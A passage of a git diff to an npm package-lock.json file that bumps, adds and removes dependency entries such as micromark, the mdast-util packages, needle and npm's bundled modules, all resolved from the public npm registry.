"sha512-Ezda85ToJUBhM6WGaG6veasyym+Tbs3cMAw/ZhOPqXiYsr0jgocBV3j3nx+4lk47plLlIqjwuTm/ywVI+zjJ/A==", - "dev": true, - "requires": { - "repeat-string": "^1.0.0" - } - }, "marked": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/marked/-/marked-2.0.0.tgz", "integrity": "sha512-NqRSh2+LlN2NInpqTQnS614Y/3NkVMFFU6sJlRFEpxJ/LHuK/qJECH7/fXZjk4VZstPW/Pevjil/VtSONsLc7Q==" }, + "matcher": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/matcher/-/matcher-3.0.0.tgz", + "integrity": "sha512-OkeDaAZ/bQCxeFAozM55PKcKU0yJMPGifLwV4Qgjitu+5MoAfSQN4lsLJeXZ1b8w0x+/Emda6MZgXS1jvsapng==", + "dev": true, + "requires": { + "escape-string-regexp": "^4.0.0" + }, + "dependencies": { + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true + } + } + }, "mathml-tag-names": { "version": "2.1.3", "resolved": "https://registry.npmjs.org/mathml-tag-names/-/mathml-tag-names-2.1.3.tgz", @@ -8295,32 +11514,45 @@ "safe-buffer": "^5.1.2" } }, - "mdast-util-compact": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/mdast-util-compact/-/mdast-util-compact-2.0.1.tgz", - "integrity": "sha512-7GlnT24gEwDrdAwEHrU4Vv5lLWrEer4KOkAiKT9nYstsTad7Oc1TwqT2zIMKRdZF7cTuaf+GA1E4Kv7jJh8mPA==", + "mdast-util-from-markdown": { + "version": "0.8.5", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-0.8.5.tgz", + "integrity": "sha512-2hkTXtYYnr+NubD/g6KGBS/0mFmBcifAsI0yIWRiRo0PjVs6SSOSOdtzbp6kSGnShDN6G5aWZpKQ2lWRy27mWQ==", + "dev": true, + "requires": { + "@types/mdast": "^3.0.0", + "mdast-util-to-string": "^2.0.0", + "micromark": "~2.11.0", + "parse-entities": "^2.0.0", + "unist-util-stringify-position": "^2.0.0" + } + }, + "mdast-util-to-markdown": { + "version": "0.6.5", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-0.6.5.tgz", + "integrity": "sha512-XeV9sDE7ZlOQvs45C9UKMtfTcctcaj/pGwH8YLbMHoMOXNNCn2LsqVQOqrF1+/NU8lKDAqozme9SCXWyo9oAcQ==", "dev": true, "requires": { - "unist-util-visit": "^2.0.0" + "@types/unist": "^2.0.0", + "longest-streak": "^2.0.0", + "mdast-util-to-string": "^2.0.0", + "parse-entities": "^2.0.0", + "repeat-string": "^1.0.0", + "zwitch": "^1.0.0" } }, + "mdast-util-to-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", + "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==", + "dev": true + }, "media-typer": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", "dev": true }, - "mem": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/mem/-/mem-4.3.0.tgz", - "integrity": "sha512-qX2bG48pTqYRVmDB37rn/6PT7LcR8T7oAX3bf99u1Tt1nzxYfxkgqDwUwolPlXweM0XzBOBFzSx4kfp7KP1s/w==", - "dev": true, - "requires": { - "map-age-cleaner": "^0.1.1", - "mimic-fn": "^2.0.0", - "p-is-promise": "^2.0.0" - } - }, "memory-fs": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/memory-fs/-/memory-fs-0.4.1.tgz", @@ -8356,9 +11588,10 @@ "dev": true }, "merge2": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.3.0.tgz", - "integrity": "sha512-2j4DAdlBOkiSZIsaXk4mTE3sRS02yBHAtfy127xRV3bQUFqXkjHCHLW6Scv7DwNRbIWNHH8zpnz9zMaKXIdvYw==" + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true }, "methods": { "version": "1.1.2", @@ -8366,6 +11599,33 @@ "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=", "dev": true }, + "micromark": { + "version": "2.11.4", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-2.11.4.tgz", + "integrity": "sha512-+WoovN/ppKolQOFIAajxi7Lu9kInbPxFuTBVEavFcL8eAfVstoc5MocPmqBeAdBOJV00uaVjegzH4+MA0DN/uA==", + "dev": true, + "requires": { + "debug": "^4.0.0", + "parse-entities": "^2.0.0" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + } + } + }, "micromatch": { "version": "3.1.10", "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz", @@ -8398,9 +11658,9 @@ }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -8435,7 +11695,8 @@ "mimic-response": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", - "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", + "dev": true }, "min-document": { "version": "2.19.0", @@ -8446,11 +11707,30 @@ } }, "min-indent": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.0.tgz", - "integrity": "sha1-z8RcN+nsDY8KDsPdTvf3w6vjklY=", + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz", + "integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==", "dev": true }, + "mini-create-react-context": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/mini-create-react-context/-/mini-create-react-context-0.4.1.tgz", + "integrity": "sha512-YWCYEmd5CQeHGSAKrYvXgmzzkrvssZcuuQDDeqkT+PziKGMgE+0MCCtcKbROzocGBG1meBLl2FotlRwf4gAzbQ==", + "requires": { + "@babel/runtime": "^7.12.1", + "tiny-warning": "^1.0.3" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + } + } + }, "minimalistic-assert": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", @@ -8467,6 +11747,7 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", + "dev": true, "requires": { "brace-expansion": "^1.1.7" } @@ -8477,13 +11758,14 @@ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" }, "minimist-options": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.0.2.tgz", - "integrity": "sha512-seq4hpWkYSUh1y7NXxzucwAN9yVlBc3Upgdjz8vLCP97jG8kaOmzYrVH/m7tQ1NYD1wdtZbSLfdy4zFmRWuc/w==", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/minimist-options/-/minimist-options-4.1.0.tgz", + "integrity": "sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==", "dev": true, "requires": { "arrify": "^1.0.1", - "is-plain-obj": "^1.1.0" + "is-plain-obj": "^1.1.0", + "kind-of": "^6.0.3" }, "dependencies": { "is-plain-obj": { @@ -8494,6 +11776,41 @@ } } }, + "minipass": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.3.tgz", + "integrity": "sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + }, + "dependencies": { + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, + "minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "dev": true, + "requires": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "dependencies": { + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, "mississippi": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz", @@ -8537,6 +11854,7 @@ "version": "0.5.5", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", + "dev": true, "requires": { "minimist": "^1.2.5" } @@ -8563,7 +11881,8 @@ "ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true }, "multicast-dns": { "version": "6.2.3", @@ -8623,87 +11942,11 @@ "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", "dev": true }, - "nconf": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/nconf/-/nconf-0.10.0.tgz", - "integrity": "sha512-fKiXMQrpP7CYWJQzKkPPx9hPgmq+YLDyxcG9N8RpiE9FoCkCbzD0NyW0YhE3xn3Aupe7nnDeIx4PFzYehpHT9Q==", - "requires": { - "async": "^1.4.0", - "ini": "^1.3.0", - "secure-keys": "^1.0.0", - "yargs": "^3.19.0" - }, - "dependencies": { - "async": { - "version": "1.5.2", - "resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz", - "integrity": "sha1-7GphrlZIDAw8skHJVhjiCJL5Zyo=" - }, - "cliui": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz", - "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=", - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wrap-ansi": "^2.0.0" - } - }, - "invert-kv": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=" - }, - "lcid": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", - "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "requires": { - "invert-kv": "^1.0.0" - } - }, - "os-locale": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz", - "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=", - "requires": { - "lcid": "^1.0.0" - } - }, - "wrap-ansi": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz", - "integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=", - "requires": { - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1" - } - }, - "y18n": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz", - "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=" - }, - "yargs": { - "version": "3.32.0", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.32.0.tgz", - "integrity": "sha1-AwiOnr+edWtpdRYR0qXvWRSCyZU=", - "requires": { - "camelcase": "^2.0.1", - "cliui": "^3.0.3", - "decamelize": "^1.1.1", - "os-locale": "^1.4.0", - "string-width": "^1.0.1", - "window-size": "^0.1.4", - "y18n": "^3.2.0" - } - } - } - }, "needle": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/needle/-/needle-2.5.2.tgz", - "integrity": "sha512-LbRIwS9BfkPvNwNHlsA41Q29kL2L/6VaOJ0qisM5lLWsTV3nP15abO5ITL6L81zqFhzjRKDAYjpcBcwM0AVvLQ==", + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/needle/-/needle-2.6.0.tgz", + "integrity": "sha512-KKYdza4heMsEfSWD7VPUIz3zX2XDwOyX2d+geb4vrERZMT5RMU6ujjaD+I5Yr54uZxQ2w6XRTAhHBbSCyovZBg==", + "dev": true, "requires": { "debug": "^3.2.6", "iconv-lite": "^0.4.4", @@ -8711,17 +11954,19 @@ }, "dependencies": { "debug": { - "version": "3.2.6", - "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz", - "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, "requires": { "ms": "^2.1.1" } }, "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true } } }, @@ -8737,15 +11982,11 @@ "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw==", "dev": true }, - "netmask": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/netmask/-/netmask-1.0.6.tgz", - "integrity": "sha1-ICl+idhvb2QA8lDZ9Pa0wZRfzTU=" - }, "nice-try": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz", - "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==" + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", + "dev": true }, "no-case": { "version": "2.3.2", @@ -8830,6 +12071,15 @@ "vm-browserify": "^1.0.1" }, "dependencies": { + "browserify-zlib": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", + "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", + "dev": true, + "requires": { + "pako": "~1.0.5" + } + }, "buffer": { "version": "4.9.2", "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz", @@ -8841,6 +12091,12 @@ "isarray": "^1.0.0" } }, + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true + }, "punycode": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz", @@ -8850,9 +12106,9 @@ } }, "node-releases": { - "version": "1.1.55", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.55.tgz", - "integrity": "sha512-H3R3YR/8TjT5WPin/wOoHOUPHgvj8leuU/Keta/rwelEQN9pA/S2Dx8/se4pZ2LBxSd0nAGzsNzhqwa77v7F1w==", + "version": "1.1.71", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.71.tgz", + "integrity": "sha512-zR6HoT6LrLCRBwukmrVbHv0EpEQjksO6GmFcZQQuCAy139BEsoVKPYnf3jongYW83fAa1torLGYwxxky/p28sg==", "dev": true }, "node-sass": { @@ -8911,6 +12167,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/node.extend/-/node.extend-2.0.2.tgz", "integrity": "sha512-pDT4Dchl94/+kkgdwyS2PauDFjZG0Hk0IcHIB+LkW27HLDtdoeMxHTxZh39DYbPP8UflWXWj9JcdDozF+YDOpQ==", + "dev": true, "requires": { "has": "^1.0.3", "is": "^3.2.1" @@ -8994,7 +12251,8 @@ "normalize-url": { "version": "4.5.0", "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz", - "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==" + "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==", + "dev": true }, "normalize.css": { "version": "8.0.1", @@ -9002,9 +12260,9 @@ "integrity": "sha512-qizSNPO93t1YUuUhP22btGOo3chcvDFqFaj2TRybP0DMxkHOCTYwp3n34fel4a31ORXy4m1Xq0Gyqpb5m33qIg==" }, "npm": { - "version": "6.14.7", - "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.7.tgz", - "integrity": "sha512-swhsdpNpyXg4GbM6LpOQ6qaloQuIKizZ+Zh6JPXJQc59ka49100Js0WvZx594iaKSoFgkFq2s8uXFHS3/Xy2WQ==", + "version": "6.14.13", + "resolved": "https://registry.npmjs.org/npm/-/npm-6.14.13.tgz", + "integrity": "sha512-SRl4jJi0EBHY2xKuu98FLRMo3VhYQSA6otyLnjSEiHoSG/9shXCFNJy9tivpUJvtkN9s6VDdItHa5Rn+fNBzag==", "requires": { "JSONStream": "^1.3.5", "abbrev": "~1.1.1", @@ -9037,13 +12295,13 @@ "glob": "^7.1.6", "graceful-fs": "^4.2.4", "has-unicode": "~2.0.1", - "hosted-git-info": "^2.8.8", + "hosted-git-info": "^2.8.9", "iferr": "^1.0.2", "imurmurhash": "*", "infer-owner": "^1.0.4", "inflight": "~1.0.6", "inherits": "^2.0.4", - "ini": "^1.3.5", + "ini": "^1.3.8", "init-package-json": "^1.10.3", "is-cidr": "^3.0.0", "json-parse-better-errors": "^1.0.2", @@ -9070,7 +12328,7 @@ "lodash.uniq": "~4.5.0", "lodash.without": "~4.4.0", "lru-cache": "^5.1.1", - "meant": "~1.0.1", + "meant": "^1.0.2", "mississippi": "^3.0.0", "mkdirp": "^0.5.5", "move-concurrently": "^1.0.1", @@ -9085,11 +12343,11 @@ "npm-packlist": "^1.4.8", "npm-pick-manifest": "^3.0.2", "npm-profile": "^4.0.4", - "npm-registry-fetch": "^4.0.5", - "npm-user-validate": "~1.0.0", + "npm-registry-fetch": "^4.0.7", + "npm-user-validate": "^1.0.1", "npmlog": "~4.1.2", "once": "~1.4.0", - "opener": "^1.5.1", + "opener": "^1.5.2", "osenv": "^0.1.5", "pacote": "^9.5.12", "path-is-inside": "~1.0.2", @@ -9113,7 +12371,7 @@ "slide": "~1.1.6", "sorted-object": "~2.0.1", "sorted-union-stream": "~2.1.3", - "ssri": "^6.0.1", + "ssri": "^6.0.2", "stringify-package": "^1.0.1", "tar": "^4.4.13", "text-table": "~0.2.0", @@ -9157,16 +12415,6 @@ "humanize-ms": "^1.2.1" } }, - "ajv": { - "version": "5.5.2", - "bundled": true, - "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" - } - }, "ansi-align": { "version": "2.0.0", "bundled": true, @@ -9452,10 +12700,6 @@ "mkdirp": "~0.5.0" } }, - "co": { - "version": "4.6.0", - "bundled": true - }, "code-point-at": { "version": "1.1.0", "bundled": true @@ -9536,10 +12780,10 @@ } }, "configstore": { - "version": "3.1.2", + "version": "3.1.5", "bundled": true, "requires": { - "dot-prop": "^4.1.0", + "dot-prop": "^4.2.1", "graceful-fs": "^4.1.2", "make-dir": "^1.0.0", "unique-string": "^1.0.0", @@ -9690,7 +12934,7 @@ } }, "dot-prop": { - "version": "4.2.0", + "version": "4.2.1", "bundled": true, "requires": { "is-obj": "^1.0.0" @@ -9844,10 +13088,6 @@ "version": "1.3.0", "bundled": true }, - "fast-deep-equal": { - "version": "1.1.0", - "bundled": true - }, "fast-json-stable-stringify": { "version": "2.0.0", "bundled": true @@ -10132,11 +13372,31 @@ "bundled": true }, "har-validator": { - "version": "5.1.0", + "version": "5.1.5", "bundled": true, "requires": { - "ajv": "^5.3.0", + "ajv": "^6.12.3", "har-schema": "^2.0.0" + }, + "dependencies": { + "ajv": { + "version": "6.12.6", + "bundled": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "bundled": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "bundled": true + } } }, "has": { @@ -10159,7 +13419,7 @@ "bundled": true }, "hosted-git-info": { - "version": "2.8.8", + "version": "2.8.9", "bundled": true }, "http-cache-semantics": { @@ -10241,7 +13501,7 @@ "bundled": true }, "ini": { - "version": "1.3.5", + "version": "1.3.8", "bundled": true }, "init-package-json": { @@ -10379,10 +13639,6 @@ "version": "0.2.3", "bundled": true }, - "json-schema-traverse": { - "version": "0.3.1", - "bundled": true - }, "json-stringify-safe": { "version": "5.0.1", "bundled": true @@ -10691,7 +13947,7 @@ } }, "meant": { - "version": "1.0.1", + "version": "1.0.2", "bundled": true }, "mime-db": { @@ -10712,6 +13968,10 @@ "brace-expansion": "^1.1.7" } }, + "minimist": { + "version": "1.2.5", + "bundled": true + }, "minizlib": { "version": "1.3.3", "bundled": true, @@ -10923,7 +14183,7 @@ } }, "npm-registry-fetch": { - "version": "4.0.5", + "version": "4.0.7", "bundled": true, "requires": { "JSONStream": "^1.3.4", @@ -10949,7 +14209,7 @@ } }, "npm-user-validate": { - "version": "1.0.0", + "version": "1.0.1", "bundled": true }, "npmlog": { @@ -10994,7 +14254,7 @@ } }, "opener": { - "version": "1.5.1", + "version": "1.5.2", "bundled": true }, "os-homedir": { @@ -11248,12 +14508,6 @@ "ini": "~1.3.0", "minimist": "^1.2.0", "strip-json-comments": "~2.0.1" - }, - "dependencies": { - "minimist": { - "version": "1.2.5", - "bundled": true - } } }, "read": { @@ -11561,7 +14815,7 @@ } }, "ssri": { - "version": "6.0.1", + "version": "6.0.2", "bundled": true, "requires": { "figgy-pudding": "^3.5.1" @@ -11830,6 +15084,19 @@ "xdg-basedir": "^3.0.0" } }, + "uri-js": { + "version": "4.4.0", + "bundled": true, + "requires": { + "punycode": "^2.1.0" + }, + "dependencies": { + "punycode": { + "version": "2.1.1", + "bundled": true + } + } + }, "url-parse-lax": { "version": "1.0.0", "bundled": true, @@ -11987,7 +15254,7 @@ "bundled": true }, "y18n": { - "version": "4.0.0", + "version": "4.0.1", "bundled": true }, "yallist": { @@ -12090,6 +15357,7 @@ "version": "2.0.2", "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz", "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", + "dev": true, "requires": { "path-key": "^2.0.0" } @@ -12130,7 +15398,8 @@ "number-is-nan": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", - "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=" + "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=", + "dev": true }, "oauth-sign": { "version": "0.9.0", @@ -12177,7 +15446,8 @@ "object-hash": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.0.3.tgz", - "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==" + "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg==", + "dev": true }, "object-inspect": { "version": "1.7.0", @@ -12198,7 +15468,8 @@ "object-keys": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", - "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true }, "object-visit": { "version": "1.0.1", @@ -12213,6 +15484,7 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", + "dev": true, "requires": { "define-properties": "^1.1.2", "function-bind": "^1.1.1", @@ -12221,27 +15493,199 @@ } }, "object.entries": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.1.tgz", - "integrity": "sha512-ilqR7BgdyZetJutmDPfXCDffGa0/Yzl2ivVNpbx/g4UeWrCdRnFDUBrKJGLhGieRHDATnyZXWBeCb29k9CJysQ==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.3.tgz", + "integrity": "sha512-ym7h7OZebNS96hn5IJeyUmaWhaSM4SVtAPPfNLQEI2MYWCO2egsITb9nab2+i/Pwibx+R0mtn+ltKJXRSeTMGg==", "dev": true, "requires": { + "call-bind": "^1.0.0", 